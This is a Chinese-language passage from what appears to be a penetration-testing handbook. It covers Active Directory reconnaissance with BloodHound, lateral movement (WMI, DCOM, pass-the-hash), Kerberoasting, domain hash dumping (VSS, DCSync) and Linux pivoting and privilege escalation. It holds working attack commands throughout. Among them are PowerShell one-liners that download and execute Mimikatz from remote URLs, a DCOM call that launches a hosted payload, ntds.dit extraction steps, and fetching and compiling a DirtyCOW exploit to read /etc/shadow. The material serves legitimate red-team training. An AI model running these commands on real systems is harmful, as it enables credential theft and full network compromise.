Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingestor，然后为用户、组和主机查询 AD（类似于我们以前手工做的）。然后，Ingestor 将尝试连接到每个系统以枚举登录的用户、会话和权限。当然，这个动静会很大。对于采用默认设置（可以修改）的中型企业网站，连接到每个主机系统和使用 Sharphound 查询信息的时间可能不到10分钟。注意，因为这会接触到网络上每个加入域的系统，所以它可能会让你被发现。Bloodhound/Sharphound 中有一个秘密选项，它只查询 Active Directory，不连接到每个主机系统，但是输出结果非常有限。
目前有两种不同的版本（我相信旧版本很快就会被移除）：
- 在 Empire，你可以使用模块：
- usemodule situational_awareness/network/bloodhound
- 这仍然是查询非常慢的旧的 PowerShell 版本
- 最好的选择是 Sharphound，Sharphound 是最原始的 C# 版本 Bloodhound Ingester。这是个更快更稳定的版本。可以用作独立二进制文件，也可以作为 PowerShell 脚本导入。Sharphound PowerShell 脚本将使用反射和 assembly.load 加载已编译 BloodHound C# 版本的 ingestor 并将其捕获。
- https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors
要运行 Bloodhound/Sharphound Ingestor，你可能需要指定多个集合方法：
- Group - Collect group membership information
- 收集组成员身份信息
- LocalGroup - Collect local admin information for computers
- 收集计算机的本地管理信息
- Session - Collect session information for computers
- 收集计算机的会话信息
- SessionLoop - Continuously collect session information until killed
- 持续收集会话信息直到结束
- Trusts - Enumerate domain trust data
- 列举域内信任数据
- ACL - Collect ACL (Access Control List) data
- 收集ACL（访问控制列表）数据
- ComputerOnly - Collects Local Admin and Session data
- 收集本地管理和会话数据
- GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects)
- 使用GPO（组策略对象）收集本地管理信息
- LoggedOn - Collects session information using privileged methods (needs admin!)
- 使用特权方法收集会话信息（需要管理员权限！）
- ObjectProps - Collects node property information for users and computers
- 为用户和计算机收集节点属性信息
- Default - Collects Group Membership， Local Admin， Sessions， and Domain Trusts
- 收集组成员、本地管理员、会话和域信任关系
在目标系统上运行 Blood/Sharphound:
- 运行 PowerShell，然后导入 Bloodhound.ps1 或者 SharpHound.ps1：
- Invoke-Bloodhound -CollectionMethod Default
- Invoke-Bloodhound -CollectionMethod ACL，ObjectProps，Default-CompressData -RemoveCSV -NoSaveCache
- 运行可执行文件:
- SharpHound.exe -c Default，ACL，Session，LoggedOn，Trusts，Group
一旦完成了 Bloundhound/Sharphound，这四个文件将被保存到受害者机器上。下载并处理这些文件，并将它们复制到你的 kali 上。接下来，我们需要启动 Neo4j 服务器并导入这些数据来构建相关关系图。
打开 Bloodhound
1. apt-get install bloodhound
2. neo4j console
3. 打开浏览器访问 http://localhost:7474
1. 连接到 bolt://localhost:7687
2. 用户名: neo4j
3. 密码: neo4j
4. 修改密码
4. 在一个终端中运行 Bloodhound：
1. bloodhound
2. 数据库 URL: bolt://127.0.0.1:7687
3. 用户名: neo4j
4. 密码：新的密码
5. 加载数据
1. 在右侧，有一个 `Upload Data` 的按钮
2. 上传 `acls.csv`，`group_membership.csv`， `local_admin.csv` 和 `sessions.csv`
如果你没有一个域来测试这个，我已经在这里上传了四个 Bloodhound 文件：https://github.com/cyberspacekittens/bloodhound ，这样你就可以重复这些练习了。一旦进入 Bloodhound 并导入了所有数据，我们就可以去查询“查找到域管理员的最短路径”。我们还可以选择特定的用户，看看是否可以将路径映射到特定的用户或组。在我们的示例中，我们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中，我们输入该用户的用户名，单击 `Pathfinding` 按钮，然后键入“Domain Admin”（或任何其他用户），查看是否可以在这些对象之间显示对应的路由路径。
你可以从 Neil 的机器上看到，我们可以一路顺利的到 CSK 实验组。在“实验”组中，有一个名为 Purri 的用户，他是 HelpDesk 组的成员。
如果我们能攻陷 HelpDesk 组，我们可以转到 Chris 的主机中，而且 Elon Muskkat 目前已登录此机器。如果我们能转移到他的进程或窃取他的明文密码，我们就可以把权限提升到域管理员！
对于大型网络的扫描结果，我们注意到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大好处是，它允许通过自己本身的叫 Cypher 的语言进行原始查询。有关自定义查询的 Cypher 的深入研究，请访问：https://blog.cptjesus.com/posts/introtocypher 。
我们可以添加哪种自定义查询？来看吧，@porterhau5在扩展 Bloodhound 跟踪和可视化攻击方面取得了很大进展。查看他们的文章：https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。
从高层次的角度来看，@porterhau5增加了标记被攻陷主机的想法，以帮助更好地在内网漫游。例如，在这个伪造的场景中，我们通过仿冒用户 niel.pawstrong 来危害其他初始用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能，我们可以运行这些查询：
- 向被攻陷系统添加自有标签：
- MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”， n.wave=1
- 运行查询以显示所有被仿冒的系统
- MATCH (n) WHERE n.owned=“phish” RETURN n
现在，我们可以向 Bloodhound 添加一些自定义查询。在Bloodhound 的“查询”选项卡上，滚动到底部，单击“自定义查询”旁边的“编辑”按钮。用以下内容替换所有文本：
- https://github.com/porterhau5/BloodHound-Owned/blob/master/customqueries.json
保存之后，我们应该创建更多的查询。现在我们可以单击查找结果“查找从所属节点到域管理员的最短路径”。
如果你想更仔细地研究这个问题，请查看 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直观，并允许更多的自定义功能：https://github.com/porterhau5/bloodhound-owned 。
到目前为止，在没有扫描的情况下，我们已经能够获得关于该组织的大量信息。这都是作为本地 AD 用户（域用户）的权限能做到的的，而且在大多数情况下，没有任何网络流量看起来太可疑。正如你所看到的，我们能够做到这一切，而无需成为本地管理员或对本地系统拥有任何管理权限。
#### Advanced ACL/ACE Bloodhound
当使用 Bloodhound 的收集方法访问控制列表（ACL）类型时，我们的脚本将查询 AD 以收集用户和对象的所有访问控制权限。我们从访问控制项（ACEs)收集的信息描述了用户、组和计算机的允许和拒绝权限。寻找和利用 ACEs 本身就是一个能写成完整的书的内容，但这里有一些很好的启动资源：
- BloodHound 1.3–acl 攻击路径更新
- https://wald0.com/?p=112
- 介绍对抗性恢复方法
- http://bit.ly/2GYU7S7
在将 ACL 数据导入 Bloodhound 时，我们要寻找什么信息？Bloodhound 识别出 ACE 中可能存在弱点的地方。这将包括谁有能力更改或重置密码、向组中添加成员、为其他用户更新脚本路径等对象、更新对象或在对象上写入新的 ACE 等等。
怎么使用这个东西呢？当攻陷到某个用户和获得额外的凭证后，我们可以通过目标路径找到一个有能力重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域管理员或特权帐户的路径，甚至允许设置后门以供以后使用。了解这些类型的利用方法的一个很好的资源是：[Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲](http://ubm.io/2GI5EAq) 。
### 横向漫游——移动
在一个拥有多个用户的机器上，通常的做法是创建一个新的用户凭证或者迁移不同用户的凭证。这种方法大量用于在环境中横向移动，这并不是什么新鲜问题。通常，从 Bloodhound 输出或共享工作站，作为攻击者，我们需要能够模仿被攻陷的受害者系统上的其他用户。
我们拥有的许多工具可以用不同的方法来实现这一点。比如 Metasploit，我们都应该非常熟悉使用 [Post Exploitation 隐蔽框架](https://www.offensive-security.com/metasploit-unleashed/fun-incognito/)来窃取 token。
在 Empire 中，我们可以使用窃取 token 来模拟该系统上的用户。我注意到，有时候窃取 token 会让我们的 shell 下线。为了避免这种情况，我们可以将一个新的 agent 注入到另一个用户拥有的正在运行的进程中。
在下面的图片中，我们使用钓鱼让一个员工运行了我们的恶意软件。。这使得我们可以在受害者用户的系统中运行我们自己的程序（neil.pawstrong）。在那个用户的系统上，我们可以转到 BuzzClawdrin 的系统，并用WMI（WindowsManagementInstrumentation）命令执行获得了一个新的 agent。这里的问题是，我们在最初攻击受害者 Neil.Pawstrong 的过程中，因为我们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此，我们不应该窃取 token，而应该使用 Empire 的 psinject 功能。
psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程，从而将通用.NET运行库时加载到进程中并执行特定的 PowerShell 命令，而无需启动新的 PowerShell.exe 进程！”[ http://bit.ly/2HDxj6x ]，我们使用它来生成一个全新的、以 buzz.clauldrin 的用户进程运行的 agent，这样我们现在就可以获得他的访问权限。
### 离开初始主机
现在你已经找到了将要移动到的潜在路径，那么获得这些系统的代码执行的选项是什么？最基本的方法是使用我们当前的有 Active Directory 权限的用户以获得对另一个系统的控制权，举个例子，一个经理可以完全访问其下属的计算机，一个拥有多个具有管理权限的会议/实验组计算机，他们的内部系统配置错误，或者发现有人手动将用户添加到该计算机上的本地管理组。这都是普通用户可以拥有远程访问到网络上的其他工作站的可能的一些方式。一旦攻陷了一台目标机器，我们既可以获取 Bloodhound 的结果，也可以重新扫描网络以查看我们在哪些机器上具有本地访问权限：
- Empire 模块:
- situational_awareness/network/powerview/find_localadmin_access
- Metasploit 模块：http://bit.ly/2JJ7ILb
Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。这绝对是一个会造成很大动静的工具，因为它需要连接到每个主机并且验证它是否是本地管理员。
我们可以看到，Empire 的 find_localadmin_access 模块标明了用户访问我们的陷阱的是一个 buzz.cyberspacekittens.local 机器。这应该和我们的 Bloodhound 回显的是一样的。为了再次检查我们是否有访问权限，我通常会执行一些非交互的远程命令，比如 dir \[remote system]\C$ 并查看我们是否有对 C 盘的读/写权限。
在域内横向移动方面，有好几种做法。让我们先来看看 Empire 中最常见的（直接从 Empire 中提取的）：
- inveigh_relay：Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证请求中继到 SMB 目标。如果成功地中继了身份验证，并且帐户具有较高的权限，则将在目标机器上利用 PSExec 执行指定的命令或 Empire 启动程序。
- invoke_executemsbuild：此函数使用 msbuild 和 inline task（内联任务）在本地/远程主机上执行 PowerShell 命令。如果提供了凭据，则在本地装入默认管理共享。此命令将在启动 msbuild.exe 进程的前后执行，而不启动 powershell.exe。
- invoke_psremoting：使用 psremoting 在远程主机上执行 stager。只要受害者启用了 PSRemoting（这不总是启用的），我们就可以通过此服务执行 PowerShell。
- invoke_sqloscmd：在远程主机上执行命令或着使用 xp_cmdshell 程序。就会反弹回一个 xp_cmdshell！
- invoke_wmi：使用 WMI 在远程主机上执行 stager。发现目标几乎总是启用了 WMI，这是执行 PowerShell payload 的一个很好的方法。
- jenkins_script_console：将 Empire 代理部署到具有对脚本控制台未经身份验证访问权限的 Windows Jenkins 服务器。如我们所知，Jenkins 服务器是常见的，没有凭据通常意味着要使用 RCE 来通过 /script 端点。
- invoke_dcom：通过 [DCOM](http://bit.ly/2qxq49L) 上的 MMC20.Application COM 对象在远程主机上调用命令。允许我们在不使用 psexec，WMI 或 PSRemoting 的情况下渗透进去。
- invoke_psexec：使用 PsExec 类型在远程主机上执行 stager 功能。这是使用 PsExec 移动文件并执行的传统方法。这可能会触发警报，但如果没有其他可用的方法，这仍然是一个好方法。
- invoke_smbexec：使用 SMBExec.ps 在远程主机上执行 stager。我们可以使用 samba 工具进行类似的攻击，而不是使用 PsExec。
- invoke_sshcommand：通过 SSH 在远程主机上执行命令。
- invoke_wmi_debugger：使用 WMI 将远程计算机上的目标二进制文件的调试器设置为 cmd.exe 或 stager。使用类似 sethc（粘滞键）的调试器工具来执行我们的代理。
- new_gpo_immediate_task：生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO，此模块允许你将“即时”计划任务推送到可以编辑的 GPO，允许在应用 GPO 的系统上执行代码。
[http://www.harmj0y.net/blog/empire/empire-1-5/]
这些只是一些最简单和最常见的横向内网漫游技术。在本书的后面，我们将讨论一些不太常见的绕过网络的技术。在大多数内网中，通常启用 Windows Management Instrumentation（WMI），因为它是管理工作站所必需的服务。因此，我们可以使用 invoke-wmi 横向移动。由于我们使用的是本地缓存凭据，且我们的帐户可以访问远程主机，因此我们不需要知道用户的凭据。
在远程系统上执行
- usemodule lateral_movement/invoke_wmi
- 设置你即将入侵的主机的相关信息：
- set ComputerName buzz.cyberspacekittens.local
- 配置你将使用的监听器:
- set Listener http
- 连接到远程主机并执行恶意程序:
- execute
- 和新的 agent 交互：
- agents
- interact <Agent Name>
- sysinfo
### 利用 DCOM 的横向移动
有许多方法可以在主机上进行单次横向移动。如果泄露的帐户具有访问权限，或者你能够使用捕获的凭据创建令牌，我们可以使用 WMI、PowerShell 远程命令执行或 PSExec 生成不同的 shell。如果这些执行命令的方法受到监控怎么办？我们通过使用分布式组件对象模型（DCOM）实现一些很酷的 Windows 功能。DCOM 是用于在不同远程计算机上的软件组件之间通信的 Windows 功能。
你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序：GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现（ https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ），有多个对象（例如 ShellBrowserWindow 和 ShellWindows ）允许在受害者主机上远程执行代码。当列出所有 DCOM 应用程序（如上图所示）时，你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后，只要我们的帐户有权访问，我们就可以利用此功能在远程工作站上执行二进制文件。
- powershell
- $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”，“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)
这将只在系统本地执行文件，并且我们不能将任何命令行参数包含到可执行文件中（因此不能使用 cmd /k 类型的攻击）。相反，我们可以从远程系统调用文件并执行它们，但请注意，用户将收到警告的弹窗。在本例中，我目前在一个受害者的主机 neil.cyberspacekittens.local 上，该主机可以管理访问一个名为 buzz 的远程工作站。我们将在 Neil 的工作站上共享一个文件夹，并托管我们的 payload。接下来，我们可以调用 DCOM 对象在远程受害者（buzz）计算机上执行托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-
00A0C91F3880”，“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”)
正如你在下一张图片中看到的，Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。虽然大多数用户都会点击并运行这个，但它可能会让我们被目标察觉。
因此，避免这个问题的更好方法是在使用 DCOM 执行该文件之前将该文件移到上面（类似于装载受害者的驱动器）。@Enigam0x3对此做得更进一步，并利用 Excel 宏来使用 DCOM。首先，我们需要在自己的系统上创建恶意 Excel 文档，然后使用 [PowerShell 脚本](https://bit.ly/2pzJ9GX)在受害者主机上执行此.xls 文件。
需要注意的一点是，有许多其他的 DCOM 对象可以从系统中获取信息，可能会启动或停止服务等等。这无疑为进一步研究 DCOM 功能提供了很好的起点。
参考文献：
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
- https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
- https://www.cybereason.com/blog/dcom-lateral-movement-techniques
### Pass-the-Hash
过去传递本地管理帐户 Pass-The-Hash（PTH）的方法在很大程度上已经开始消失。虽然还没有完全消失，但让我们快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份验证，而不是使用用户的凭据。这是很重要的一点，首先，使用 Mimikatz 这样的工具可以很容易地恢复哈希，可以为本地帐户提取哈希（但需要本地管理员权限），可以从转储域控制器（不是明文密码）中恢复哈希（DCsync）等等。
PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管理员帐户已被禁用，并且出现了更新的安全功能，例如本地管理员密码解决方案（LAPS），为每个工作站创建随机密码，因此通常很少使用上述这种方法。过去，在一个工作站上获取本地管理帐户的哈希值在整个组织中是可以用相同的方法实现的，这意味着一个易受攻击的方案会使整个公司破产。
当然，这要求你必须是系统上的本地管理员，启用本地管理员帐户“administrator”，并且它是 RID 500帐户（意味着它必须是原始管理员帐户，不能是新创建的本地管理员帐户）。
- 执行命令： shell net user administrator
- User name Administrator
- Full Name
- Comment Built-in account for administering the computer/domain
- User’s comment
- Country/region code 000 (System Default)
- **Account active Yes**
- Account expires Never
如果我们看到帐户处于活动状态，我们可以尝试从本地计算机中提取所有哈希值。请记住，这不会包括任何域账户哈希：
- Empire Module: powershell/credentials/powerdump
- Metasploit Module: http://bit.ly/2qzsyDI
例如：
- (Empire: powershell/credentials/powerdump) > execute
- Job started: 93Z8PE
输出：
- Administrator:500:
- aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
我们可以使用 Empire（credentials/mimikatz/pth）或者启动可信任的 psexec，提交我们的哈希，并执行我们的自定义 payload，如下图所示：
如前所述，这是一种现在少见的古老的横向移动方式。如果你仍在考虑利用本地管理员帐户，但所处的环境有 LAPS（本地管理员密码解决方案），你可以使用几个不同的将它们从 Active Directory 中转储出的工具。这假设你已经拥有一个域管理员或 Helpdesk 类型帐户的权限：
- https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb
- ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens，dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/]
这是保持横向移动而不注销 Helpdesk 用户帐户的好方法。
### 从服务帐户获取凭据
如果你发现自己处于一个用户权限受限、无法从内存中提取密码、主机系统上没有密码的情况下，该怎么办...接下来该怎么办？好吧，我最喜欢的攻击之一是 Kerberoasting。
我们都知道 NTLM 存在缺陷，这是由于单向哈希（不含盐）、重放攻击和其他传统问题造成的，这也是许多公司转向采用 Kerberos 的原因。如我们所知，Kerberos 是一种安全的方法，用于对计算机网络中的服务请求进行身份验证。我们不会深入研究 Windows 中的 Kerberos 实现。但是，你应该知道域控制器通常充当票据授予的服务器；网络上的用户可以请求票据授予服务器以获取资源访问权的凭证。
什么是最严重的攻击？作为攻击者，我们可以掌握我们之前提取的目标服务帐户的任何 SPN 请求 Kerberos 服务票证。漏洞在于，当从域控制器请求服务票据时，该票证使用关联的服务用户的 NTLM 哈希加密。由于任何用户都可以请求任何票据，这意味着，如果我们可以猜测关联服务用户的 NTLM 哈希（加密票据的）的密码，那么我们现在就知道实际服务帐户的密码。这听起来可能有点令人困惑，所以让我们来看一个例子。
与以前类似，我们可以列出所有的SPN服务。这些是我们将为其提取所有 Kerberos 票据的服务帐户：
- setspn -T cyberspacekittens.local -F -Q */*
我们可以将单个用户的 SPN 作为目标，也可以将所有用户的 Kerberos 票据拉入用户的内存中：
- 针对单个用户：
- powershell Add-Type -AssemblyName System.IdentityModel;New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local”
- 将所有用户票据拖到内存中
- powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object
Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”)
| ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}
- 当然，你也可以使用 powersploit 执行此操作：
- https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
如果成功的话，我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。我们现在需要一种方法来提取票据。我们可以使用好工具 Mimikatz Kerberos 导出：
- powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’
一旦我们导出这些票证，它们将仍会驻留在受害者的机器上。在我们开始破解它们之前，我们必须从它们的系统中下载它们。请记住，票据是用服务帐户的 NTLM 哈希加密的。所以，如果我们能猜到 NTLM 哈希，我们就可以读取票据，现在也知道服务帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的工具（JTR 和 Hashcat 也支持破解 Kerberoast，稍后我们将讨论）。使用 Kerberoast 破解票证：
- 使用 Kerberoast 来破解票据：
- cd /opt/kerberoast
- python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]
在这个例子中，服务帐户 csk-github 的密码是“p@ssw0rd!”
当然，Empire 有一个 PowerShell 模块为我们做所有需要做的事情。它位于 powershell/credentials/invoke_kerberoast 目录下（ https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 ）。
你可以用 John the Ripper 甚至 Hashcat 来破解密码并输出结果。我以前在非常大的网络环境中运行 PowerShell 脚本时遇到过一些问题，因此，退一步的方法是使用 PowerShell 和 Mimikatz 将所有的票据都获取下来。
## 转储域控制器哈希
一旦我们获得了域管理访问权，从 DC 中提取所有哈希的老方法就是在域控制器上运行命令，并使用 Shadow Volume 或原始拷贝技术提取 ntds.dit 文件。
回顾磁盘卷影复制技术<br>
由于我们确实可以访问文件系统，并且可以作为攻击者在域控制器上运行命令，因此我们希望获取存储在 ntds.dit 文件中的所有域内哈希。不幸的是，该文件不断地被读和写，即使作为系统，我们也无法读取或复制该文件。幸运的是，我们可以利用名为 Volume Shadow Copy Service 磁盘复制服务（VSS）的 Windows 功能，该功能将创建磁盘的快照副本。然后我们可以从该副本中读取 Ntds.dit 文件将其获取出来。并将其从计算机上取消，这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文件。最后，我们需要清理我们的行踪并删除磁盘拷贝：
- C:\vssadmin create shadow /for=C:
- copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM.
- copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM.
- reg SAVE HKLM\SYSTEM c:\SYS
- vssadmin delete shadows /for= [/oldest | /all | /shadow=]
NinjaCopy
[Ninjacopy](http://bit.ly/2HpvKwj) 是另一个工具，一旦我们在域控制器上，就可以用来获取 Ntds.dit 文件。Ninjacopy “通过读取原始磁盘卷并分析 NTFS 结构，从 NTFS 分区磁盘复制文件。这将绕过文件 DACL（任意访问控制列表）、读取句柄锁和 SACL（系统访问控制列表）。但你必须是管理员才能运行这个脚本。这可用于读取通常锁定的系统文件，如 NTDS.dit 文件或注册表配置单元。”[http://bit.ly/2HpvKwj]
- Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.dit
DCSync
现在，我们已经回顾了从 DC 提取哈希的老方法，这些方法要求你在 DC 上运行系统命令，并且通常需要在该计算机上删除一些文件，让我们继续讨论新方法。最近，由 Benjamindelpy 和 Vincent Le Toux 编写的 DCSync 引入并改变了从域控制器转储哈希的玩法。DCSync 的概念是它模拟域控制器来请求该域中用户的所有哈希。这意味着，只要你有权限，就不需要运行任何域控制器上的命令，也不必删除 DC 上的任何文件。
但是要使 DCSync 工作，必须具有从域控制器中提取哈希的适当权限。通常是限于域管理员、企业管理员、域控制器用户组以及将复制更改权限设置为允许（即复制所有更改和复制目录更改）的任何人，DCSync 将允许你的用户执行此攻击。这种攻击最初是在 Mimikatz 开发的，可以使用以下命令运行：
- Lsadump::dcsync /domain:[YOUR DOMAIN] /user:[Account_to_Pull_Hashes]
更好的是，DCSync 被引入了 PowerShell Empire 这样的工具，以使其更容易实现。
Empire 模块：powershell/credentials/mimikatz/dcsync_hashdump
查看 DCSync hashdump，我们可以看到 Active Directory 中用户的所有 NTLM 哈希。此外，我们还有 krbtgt NTLM 哈希，这意味着我们现在（或在未来的活动中）可以执行 Golden Ticket attacks（黄金票据攻击）。
## 利用 VPS 在内网进行 RDP 横向移动
在当今世界，有了大量的新一代杀毒软件，在计算机之间横向运行 WMI/PowerShell Remoting/PSExec 并不总是最好的选择。我们还看到一些组织系统正在记录所有发生的 Windows 命令提示。为了解决这一切，我们有时需要回到基本的横向运动。使用 VPS 服务器的问题是，它只是一个没有 GUI 接口的 shell。因此，我们将配置路由和代理转发来自攻击者主机的流量，通过 VPS，然后再到被攻陷的主机，最后横向移动到下一个受害者。幸运的是，我们可以使用大部分本地工具完成任务。
首先，我们需要设置一个 VPS 服务器，启用开放到公网的多个端口，用 PTH 配置 Metasploit，并用 Meterpreter 攻陷最初的受害者。我们也可以用 Cobalt Strike 或其他框架来实现这一点，但在本例中我们将使用 Meterpreter。
我们可以利用默认的 SSH 客户机，使用本地端口转发（-L）。在这个场景中，我使用的是 Mac，但这也可以在 Windows 或 Linux 系统上完成。我们将使用 SSH 密钥通过 SSH 连接到我们的 VPS。我们还将在攻击者机器上配置本地端口，在本例中是3389（RDP），以将任何发送到该端口的流量转发到我们的 VPS。当该端口上的流量转发到我们的 VPS 时，它会将该流量发送到 VPS 上 3389 端口上的本地主机。最后，我们需要在 3389 端口上设置一个监听我们的 VPS 的端口，并使用 Meterpreter 的端口转发功能通过被攻陷的受害机器设置一个端口转发，以能连接到受害者的系统。
1. 用 Meterpreter payload 攻击受害者
2. 在我们的机器上开启 SSH，并在我们的攻击者系统上设置本地端口转发（本地监听端口3389），以将针对该端口的所有流量发送到 3389 上的 VPS 本地主机端口。
- ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389
3. 在 Meterpreter 会话上设置一个前置端口以监听端口3389上的 VPS，并通过被攻陷的机器将该流量发送到下一个要横向移动到的服务器。
- portfwd add -l 3389 -p 3389 -r [Victim via RDP IP Address]
4. 在我们的攻击者机器上，打开我们的 Microsoft 远程桌面客户端，将你的连接设置为你自己的本地主机 -127.0.0.1，然后输入受害者的凭据以通过 RDP 进行连接。
## 在 Linux 中横向移动
在 Linux 中的操作多年来变化不大。通常，如果你使用的是 dnscat2 或 Meterpreter，它们都支持自己的转发。
- dnscat2:
- listen 127.0.0.1:9999 <target_IP>:22
- Metasploit
- post/windows/manage/autoroute
- Metasploit Socks Proxy + Proxychains
- use auxiliary/server/socks4a
- Meterpreter:
- portfwd add –l 3389 –p 3389 –r <target_IP>
如果你幸运地获得了一个 SSH shell，那么我们可以通过该系统进行渗透。我们如何获得 SSH shell 呢？在许多情况下，一旦我们可以实现本地文件包含（LFI）或远程代码执行（RCE），我们可以尝试权限升级以读取 /etc/shadow 文件（和密码破解），或者我们可以利用一些 Mimikatz 风格的方法。
与 Windows 和 Mimikatz 一样，Linux 系统也有同样的问题，密码以明文形式存储。@huntergregal 编写的工具可以转储特定进程，这些进程很可能以明文形式包含用户的密码。尽管迄今为止，这只适用于有限版本的 Linux 系统，但这个相同的概念可以在整个系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码：
- https://github.com/huntergregal/mimipenguin
一旦我们在被入侵的主机上获得了凭证，并且可以通过 SSH 反弹 shell，我们就可以通过这个隧道传输流量，并在机器之间进行数据隐藏。在 SSH 中，有一些很好的特性可以让我们执行这个操作过程：
- 设置动态 Sock Proxy 以使用 proxychains 通过主机隐藏我们的所有流量：
- ssh -D 127.0.0.1:8888 -p 22 <user>@ <Target_IP>
- 单个端口的基本端口转发：
- ssh <user>@<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80
- 通过 SSH 的 VPN。这是一个非常棒的特性，使得可以通过 SSH 隧道隐蔽传输第3层网络流量。
- https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh
## Linux 提权
Linux 权限提升在很大程度上与 Windows 类似。我们寻找可以写入的易受攻击的服务、那些棘手的错误配置、平面文件中的密码、所有的可写文件、计划任务，当然还有修补问题。
在有效和高效地分析 Linux 系统中的权限提升问题方面，我们可以使用一些工具来为我们完成所有的工作。
在我们进行任何类型的权限提升攻击之前，我首先要在 Linux 主机上进行一个良好的信息收集工作，并识别所有关于系统的信息。这包括用户、服务、定时任务、软件版本、弱信任对象、错误配置的文件权限，甚至是 Docker 信息。我们可以使用一个名为 LinEnum 的工具来为我们完成所有的累活（ https://github.com/rebootuser/linenum ）。
这是一个非常长的报告，内容是你可能想要了解的关于底层系统的所有信息，这对于未来的活动来说是非常好的。
一旦我们获得了关于系统的信息，我们就会试图看看我们是否能够利用这些漏洞中的任何一个。如果我们找不到任何可用的漏洞或服务、计划任务中的错误配置，我们将直接在系统或应用程序上进行攻击。我试着最后做这些，因为总是有一个潜在的可能性可以直接使系统挂掉。
我们可以运行一个名为 [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) 的工具来分析主机系统并识别缺失的补丁和漏洞。一旦识别出漏洞，该工具还将向你提供可用 PoC 漏洞的链接。
现在，我们要利用什么呢？这就是经验和实践真正发挥作用的地方。在我的实验中，我将配置大量不同的 Linux 版本，以验证这些漏洞攻击不会使底层系统崩溃。在这个场景中，我最喜欢的一个漏洞是 DirtyCOW。
DirtyCOW 的工作原理是“在Linux内核的内存子系统处理写访问时只读私有映射 COW 情况中断的方式中发现了竞争条件。非特权本地用户可以使用此缺陷获取对其他只读内存映射的写访问权限，从而增加他们在系统上的权限。”[https://dirtycow.ninja/]
简而言之，此漏洞允许攻击者通过内核漏洞从非特权用户转到 `root` 权限。这是我们能想到的的最佳权限提升的方法！但有一个问题是它会导致一些内核崩溃，所以我们必须确保在正确的 Linux 内核上使用正确的版本。
在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64)：
- 下载 DirtyCOW payload
- wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
- 编译 DirtyCOW payload
- gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
- 运行 DirtyCOW 以访问系统
- ./dirtycow-mem
- 关闭定期写回以使漏洞稳定
- echo 0 > /proc/sys/vm/dirty_writeback_centisecs
- Try reading the shadow file
- cat /etc/shadow
